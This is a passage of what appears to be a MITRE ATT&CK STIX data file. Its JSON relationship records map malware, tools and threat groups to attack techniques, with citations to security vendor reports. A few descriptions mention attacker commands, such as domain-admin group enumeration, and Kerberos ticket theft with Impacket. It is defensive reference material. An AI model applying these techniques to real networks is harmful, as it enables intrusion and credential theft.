Techniques)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--63106a66-1408-4a15-b945-072f5e3ae2ff","created":"2023-03-29T15:52:32.186Z","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T15:52:32.186Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can contact the DNS server operated by Google as part of its C2 establishment process.(Citation: Lunghi Iron Tiger Linux) ","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--63113486-c2a1-4a83-8d49-2065f972f83f","created":"2024-07-14T21:30:48.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Zscaler Pikabot 2023","description":"Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.","url":"https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"},{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T18:19:40.342Z","description":"Earlier [Pikabot](https://attack.mitre.org/software/S1145) variants use a custom encryption procedure leveraging multiple mechanisms including AES with multiple rounds of Base64 encoding for its command and control communication.(Citation: Zscaler Pikabot 2023) Later [Pikabot](https://attack.mitre.org/software/S1145) variants eliminate the use of AES and instead use RC4 encryption for transmitted information.(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63131350-3239-4272-a155-5d50e174b1e3","type":"relationship","created":"2020-08-05T19:18:46.563Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."},{"source_name":"Intel 471 REvil March 2020","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."}],"modified":"2021-04-06T14:42:52.781Z","description":"[REvil](https://attack.mitre.org/software/S0496) can use Native API for execution and to retrieve active services.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--63135ac5-fa86-41a0-9023-df4c8f830582","created":"2022-06-09T19:43:54.013Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has been distributed through malicious links contained within spearphishing emails.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:43:54.013Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6316bedb-6962-4da1-8714-08b414fa7c73","type":"relationship","created":"2022-03-24T22:31:32.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T22:31:32.750Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can collect start time information from a compromised host.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6317e636-4766-4968-ac4b-66b1a7199250","created":"2022-09-29T19:14:58.536Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T19:14:58.536Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors use the command `net group \"domain admins\" /dom` to enumerate domain groups.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--63185895-4afb-4886-adcc-fbfac1a117d6","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.317Z","description":"(Citation: Mandiant No Easy Breach)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--631ba90c-982c-4415-a13c-75cf06e53252","type":"relationship","created":"2022-03-25T16:46:36.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"modified":"2022-03-25T16:46:36.587Z","description":"[Waterbear](https://attack.mitre.org/software/S0579) has deleted certain values from the Registry to load a malicious DLL.(Citation: Trend Micro Waterbear December 2019) ","relationship_type":"uses","source_ref":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63218f86-09ba-41eb-9ca5-fa78730e94f3","type":"relationship","created":"2019-12-20T13:43:45.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoJax Sept 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf","description":"ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."}],"modified":"2019-12-20T13:43:45.236Z","description":"[LoJax](https://attack.mitre.org/software/S0397) is a UEFI BIOS rootkit deployed to persist remote access software on some targeted systems.(Citation: ESET LoJax Sept 2018) ","relationship_type":"uses","source_ref":"malware--b865dded-0553-4962-a44b-6fe7863effed","target_ref":"attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63297ca0-f552-417a-9a1f-ee497cce1bc3","type":"relationship","created":"2020-11-09T14:52:45.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-09T14:52:45.686Z","description":"[CSPY Downloader](https://attack.mitre.org/software/S0527) can use GET requests to download additional payloads from C2.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--632e44a7-833f-4c91-bdae-9a3c4df7db6b","type":"relationship","created":"2020-01-24T18:38:56.163Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T18:38:56.163Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6336e5f0-11ec-453b-bba9-1b2e9ea0fab3","created":"2024-09-17T15:05:49.896Z","revoked":false,"external_references":[{"source_name":"Kerberos GNU/Linux","description":"Adepts of 0xCC. (2021, January 28). The Kerberos Credential Thievery Compendium (GNU/Linux). Retrieved September 17, 2024.","url":"https://adepts.of0x.cc/kerberos-thievery-linux/"},{"source_name":"on security kerberos linux","description":"Boal, Calum. (2020, January 28). Abusing Kerberos From Linux - An Overview of Available Tools. Retrieved September 17, 2024.","url":"https://www.onsecurity.io/blog/abusing-kerberos-from-linux/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T15:05:49.896Z","description":"[Impacket](https://attack.mitre.org/software/S0357) tools – such as getST.py or ticketer.py – can be used to steal or forge Kerberos tickets using ccache files given a password, hash, aesKey, or TGT.(Citation: Kerberos GNU/Linux)(Citation: on security kerberos linux)","relationship_type":"uses","source_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","target_ref":"attack-pattern--394220d9-8efc-4252-9040-664f7b115be6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6337062d-04c1-43df-a72b-8719a31102a0","type":"relationship","created":"2019-06-20T14:52:45.212Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html","source_name":"FireEye HAWKBALL Jun 2019"}],"modified":"2019-07-06T21:31:25.648Z","description":"[HAWKBALL](https://attack.mitre.org/software/S0391) can collect the user name of the system.(Citation: FireEye HAWKBALL Jun 2019)","relationship_type":"uses","source_ref":"malware--12a7450d-b03e-4990-a5b8-b405ab9c803b","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6337cf38-4b52-4e3d-a63e-670e077ec52f","created":"2020-08-27T21:22:39.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"},{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.421Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used PowerShell scripts to execute malicious payloads and the DSInternals PowerShell module to make use of Active Directory features.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)\t","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--633959b9-383c-486d-9e36-520e5afc502d","type":"relationship","created":"2021-06-18T22:11:34.438Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-08-31T21:30:39.349Z","description":"[Cuba](https://attack.mitre.org/software/S0625) can download files from its C2 server.(Citation: McAfee Cuba April 2021)","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6340a1e8-4880-4c91-b4fd-ce909b35b87f","type":"relationship","created":"2020-04-28T12:47:25.941Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-29T18:44:05.083Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) checked the size of the hard drive to determine if it was being run in a sandbox environment. In the event of sandbox detection, it would delete itself by overwriting the malware scripts with the contents of \"License.txt\" and exiting.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--634a14f9-e252-4f5e-851a-de8187de074e","created":"2022-10-04T20:49:04.777Z","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T20:49:04.777Z","description":"For [C0010](https://attack.mitre.org/campaigns/C0010), UNC3890 actors staged malware on their infrastructure for direct download onto a compromised system.(Citation: Mandiant UNC3890 Aug 2022) ","relationship_type":"uses","source_ref":"campaign--ab747e62-1bcb-479f-a26b-1cd39d413d81","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--634d3199-9979-4df1-8fbe-5fc355726602","type":"relationship","created":"2021-08-26T18:49:41.658Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-10-14T20:53:27.321Z","description":"[BADFLICK](https://attack.mitre.org/software/S0642) has captured victim computer name, memory space, and CPU details.(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"malware--57d83eac-a2ea-42b0-a7b2-c80c55157790","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--63534b4f-e8aa-4824-99ce-0daf9d765b9d","created":"2024-03-01T18:59:17.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"},{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T18:40:12.985Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used multiple web shells to maintain presence on compromised Connect Secure appliances such as [WIREFIRE](https://attack.mitre.org/software/S1115), [GLASSTOKEN](https://attack.mitre.org/software/S1117), [BUSHWALK](https://attack.mitre.org/software/S1118), [LIGHTWIRE](https://attack.mitre.org/software/S1119), and [FRAMESTING](https://attack.mitre.org/software/S1120).(Citation: Mandiant Cutting Edge January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--635c959b-acf4-464a-a240-f299f5fea753","type":"relationship","created":"2019-01-30T15:33:07.616Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.433Z","description":"[APT1](https://attack.mitre.org/groups/G0006) used the ipconfig /all command to gather network configuration information.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--635e93f3-ba76-43c5-961e-8464d4c257c3","created":"2022-04-06T19:27:41.746Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Koadic](https://attack.mitre.org/software/S0250) has used PowerShell to establish persistence.(Citation: MalwareBytes LazyScripter Feb 2021) ","modified":"2022-04-06T19:27:41.746Z","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--63603405-b343-4e11-9ae0-3ece75611894","created":"2022-03-15T19:56:31.111Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.412Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has collected victim organization information including but not limited to organization hierarchy, functions, press releases, and others.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--636889e5-e2e8-4bfe-9c9d-1cd7caef9f73","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor executed commands and arguments that may take control of preexisting sessions with remote services to move laterally in an environment.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6369c7fa-ec7b-4fff-a4b7-83348318814a","created":"2024-06-18T20:10:59.588Z","revoked":false,"external_references":[{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T20:10:59.588Z","description":"[Spica](https://attack.mitre.org/software/S1140) can list filesystem contents on targeted systems.(Citation: Google TAG COLDRIVER January 2024)","relationship_type":"uses","source_ref":"malware--824a230d-0f6a-4fd0-99df-8d464db2265e","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--636b7901-4dbf-4696-b75c-30a9df2818ef","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for the execution of commands and arguments that can be used for adversaries to modify services' registry keys and values through applications such as Windows Management Instrumentation and PowerShell. Additional logging may need to be configured to gather the appropriate data.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--636be06a-5c19-45c8-b6be-c38634c583dc","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.780Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) finds a specified directory, lists the files and metadata about those files.(Citation: Unit 42 Kazuar May 